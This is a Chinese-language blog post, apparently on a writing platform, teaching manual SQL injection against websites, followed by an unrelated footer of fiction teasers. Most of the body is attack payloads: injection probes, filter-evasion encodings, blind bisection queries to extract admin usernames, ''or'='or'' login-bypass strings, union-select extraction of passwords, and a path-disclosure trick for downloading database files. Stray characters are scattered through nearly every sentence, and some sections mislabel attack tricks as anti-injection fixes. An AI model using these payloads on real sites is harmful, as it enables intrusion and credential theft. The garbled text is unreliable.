手工注入

1啤它、加入單引號(hào) ’提交,

結(jié)果:如果出現(xiàn)錯(cuò)誤提示普办,則該網(wǎng)站可能就存在注入漏洞工扎。

2、數(shù)字型判斷是否有注入;?語句:and 1=1 ;and 1=2 (經(jīng)典)衔蹲、' and '1'=1(字符型)

結(jié)果:分別返回不同的頁面,說明存在注入漏洞.

分析:and 的意思是“和”如果沒有過濾我們的語句肢娘,and 1=1就會(huì)被代入SQL查詢語句進(jìn)行查詢,?如果and前后的兩條語句都是真的話就不會(huì)出錯(cuò)舆驶,但如果前后語句有一個(gè)為假的話橱健,程序就會(huì)暴錯(cuò)。?也就表明程序有注入漏洞

防注入解決辦法:

1>使用or 2>1 ; or 1>2來進(jìn)行判斷

結(jié)果:分別返回不同的頁面,說明存在注入漏洞.

分析:or注入只要求前后兩個(gè)語句只要有一個(gè)正確就為真沙廉,如果前后兩個(gè)語句都是正確的拘荡,反而為假。?記浊肆辍:or注入時(shí)俱病,or后面的語句如果是正確的,則返回錯(cuò)誤頁面袱结!如果是錯(cuò)誤亮隙,則返回正確頁面?,說明存在注入點(diǎn)垢夹。

2>?使用xor 1=1; xor 1=2

結(jié)果:分別返回不同的頁面,說明存在注入漏洞.

分析:xor 代表著異或,意思即連接的表達(dá)式僅有一個(gè)為真的時(shí)候才為真溢吻。?記住:xor注入時(shí),xor后面的語句如果是正確的促王,則返回錯(cuò)誤頁面積犀盟,如果是錯(cuò)誤,則返回正確?頁面蝇狼,說明存在注入點(diǎn)阅畴。

3>把a(bǔ)nd 1=1轉(zhuǎn)換成URL編碼形式后在提交 and 1=1 URL編碼:%41%4E%44%20%%31%3D%31

4>使用-1;-0

分析:如果返回的頁面和前面不同迅耘,是另一則新聞贱枣,則表示有注入漏洞,是數(shù)字型的注入漏洞;在 URL地址后面加上?-0颤专,URL變成 news.asp?id=123-0纽哥,返回的頁面和前面的頁面相同,加上-1栖秕,返回錯(cuò)誤頁面微猖,則也表示存在注入漏洞.

3譬正、字符型判斷是否有注入:

語句:' and '1'=1也切;' and '1=2(經(jīng)典)

結(jié)果:分別返回不同的頁面,說明存在注入漏洞.

分析:加入' and '1'=1返回正確頁面杜漠,加入' and '1=2返回錯(cuò)誤頁面,說明有注入漏同暑塑。

防注入解決辦法:

在URL的地址后面加上'%2B'(字符型)

分析:URL地址變?yōu)椋簄ews.asp?id=123'%2B'吼句,返回的頁面和1同;加?上'2%2B'asdf,URL地址變?yōu)椋簄ews.asp?id=123'%2Basdf梯投,返回的頁面和1 不同命辖,或者說未發(fā)現(xiàn)該條記錄况毅,或者錯(cuò)誤分蓖,則表示存在注入點(diǎn),是文本型的尔许。

搜索型判斷是否有注入:

簡單的判斷搜索型注入漏洞存在不存在的辦法是先搜索'么鹤,如果出錯(cuò),說明90%存在這個(gè)漏洞味廊。然后搜索%蒸甜,如果正常返回,說明95%有洞了余佛。

說明:加入如"&"柠新、"["、"]"辉巡、"%"恨憎、"$"、"@"等特殊字符,都可以實(shí)現(xiàn)憔恳,如果出現(xiàn)錯(cuò)誤瓤荔,說明有問題。

操作:?搜索一個(gè)關(guān)鍵字钥组,比如2006吧输硝,正常返回所有2006相關(guān)的信息,再搜索2006%'and 1=1 and '%'='和 2006%'and 1=2 and '%'='程梦,存在異同的話点把,就是100%有洞了。關(guān)鍵字%' and 1=1 and '%'='%?關(guān)鍵字%' and 1=2 and '%'='%?將and 1=1 換成注入語句就可以了

判斷數(shù)據(jù)庫類型:

and user>0

例如:showdetail.asp?id=49 ;and user>0 如果是ACCESS數(shù)據(jù)庫,那么返回的錯(cuò)誤里一般會(huì)有"Microsoft JET Database"關(guān)鍵定作烟,如果是MSSQL數(shù)?據(jù)庫的話返回的錯(cuò)誤提示里一般會(huì)含有"SQL Server"關(guān)鍵了.

猜表名 and exists (select?* from 表名)

說明:意思與上面一樣愉粤,只是用的語名不一樣。

猜列名 and (select count(列名) from 表名)>0

說明:如果我們輸入的列名猜解正確否反回正常頁面

猜長度 and (select top 1 len(username) from admin)>0

說明:如果我們輸入的最后一位數(shù)據(jù)返回錯(cuò)誤拿撩,而錯(cuò)誤前一位數(shù)字返回正確衣厘,說明我所猜解的長度?為正確。

猜內(nèi)容 and (select top 1 asc(mid(username,1,1)) from admin)>50 ascii碼1-128

說明:如果我們輸入的最后一位數(shù)據(jù)返回錯(cuò)誤压恒,而錯(cuò)誤前一位數(shù)字返回正確影暴,說明我所猜解的數(shù)字正確。(可以使用折半法猜內(nèi)容)

折半法:最小值與最大值差的一半探赫,比如輸入50返正確型宙,輸入100返回錯(cuò)誤,折半后輸入75伦吠。

兩種常見爆庫

1妆兑、%5c

2、conn.asp

%5c暴庫?把二級目錄中間的/換成%5c EY: otherweb ... s.asp?BigClassName=職?責(zé)范圍&BigClassType=1 如果你能看到:’E:\ahttc040901?\otherweb\dz\database\iXuEr_Studio.asa’不是一?個(gè)有效的?路徑毛仪。?確定路徑名稱拼寫是否正確搁嗓,?以及是否?連接到文件存放的服務(wù)器。?這樣的就是數(shù)據(jù)庫了箱靴。下載時(shí)用FLASHGET換成.MDB格式的就行?.

conn.asp暴庫?這個(gè)也是比較老的漏洞腺逛,利用價(jià)值不大

常見的:'or'='or'萬能密碼登陸

’or’=’or’這是一個(gè)可以連接SQL的語名句.可以直接進(jìn)入后臺(tái)。我收集了一下衡怀。類似的還有?:?’or’’=’?" or "a"="a?’) or (’a’=’a?") or ("a"="a or 1=1--?’ or ’ a’=’a 一個(gè)很老的利用方法棍矛,主要用于一些比較老的網(wǎng)站。

聯(lián)合查詢注入(union查詢)

操作步驟:

1>在正常語句后臺(tái)加入 and 1=2 union select * form 表名抛杨,其中*號(hào)代表字段數(shù)量够委,從1一直追加?(and 1=2 union select 1,2怖现,3茁帽,4 form 表名)如果字段數(shù)正確就會(huì)有暴錯(cuò)

2>在頁面顯示數(shù)字的地方用真實(shí)得到的字段名代替,如:username,password.

3>在頁面字段值處暴出真實(shí)的數(shù)據(jù)庫字段值。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末脐雪,一起剝皮案震驚了整個(gè)濱河市厌小,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌战秋,老刑警劉巖璧亚,帶你破解...
    沈念sama閱讀 223,207評論 6 521
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異脂信,居然都是意外死亡癣蟋,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 95,455評論 3 400
  • 文/潘曉璐 我一進(jìn)店門狰闪,熙熙樓的掌柜王于貴愁眉苦臉地迎上來疯搅,“玉大人,你說我怎么就攤上這事埋泵♂E罚” “怎么了?”我有些...
    開封第一講書人閱讀 170,031評論 0 366
  • 文/不壞的土叔 我叫張陵丽声,是天一觀的道長礁蔗。 經(jīng)常有香客問我,道長雁社,這世上最難降的妖魔是什么浴井? 我笑而不...
    開封第一講書人閱讀 60,334評論 1 300
  • 正文 為了忘掉前任,我火速辦了婚禮霉撵,結(jié)果婚禮上磺浙,老公的妹妹穿的比我還像新娘。我一直安慰自己徒坡,他們只是感情好撕氧,可當(dāng)我...
    茶點(diǎn)故事閱讀 69,322評論 6 398
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著崭参,像睡著了一般呵曹。 火紅的嫁衣襯著肌膚如雪款咖。 梳的紋絲不亂的頭發(fā)上何暮,一...
    開封第一講書人閱讀 52,895評論 1 314
  • 那天,我揣著相機(jī)與錄音铐殃,去河邊找鬼海洼。 笑死,一個(gè)胖子當(dāng)著我的面吹牛富腊,可吹牛的內(nèi)容都是我干的坏逢。 我是一名探鬼主播,決...
    沈念sama閱讀 41,300評論 3 424
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼是整!你這毒婦竟也來了肖揣?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 40,264評論 0 277
  • 序言:老撾萬榮一對情侶失蹤浮入,失蹤者是張志新(化名)和其女友劉穎龙优,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體事秀,經(jīng)...
    沈念sama閱讀 46,784評論 1 321
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡彤断,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,870評論 3 343
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了易迹。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片宰衙。...
    茶點(diǎn)故事閱讀 40,989評論 1 354
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖睹欲,靈堂內(nèi)的尸體忽然破棺而出供炼,到底是詐尸還是另有隱情,我是刑警寧澤窘疮,帶...
    沈念sama閱讀 36,649評論 5 351
  • 正文 年R本政府宣布劲蜻,位于F島的核電站,受9級特大地震影響考余,放射性物質(zhì)發(fā)生泄漏先嬉。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,331評論 3 336
  • 文/蒙蒙 一楚堤、第九天 我趴在偏房一處隱蔽的房頂上張望疫蔓。 院中可真熱鬧,春花似錦身冬、人聲如沸衅胀。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,814評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽滚躯。三九已至,卻和暖如春嘿歌,著一層夾襖步出監(jiān)牢的瞬間掸掏,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,940評論 1 275
  • 我被黑心中介騙來泰國打工宙帝, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留丧凤,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 49,452評論 3 379
  • 正文 我出身青樓步脓,卻偏偏與公主長得像愿待,于是被迫代替她去往敵國和親浩螺。 傳聞我的和親對象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,995評論 2 361

推薦閱讀更多精彩內(nèi)容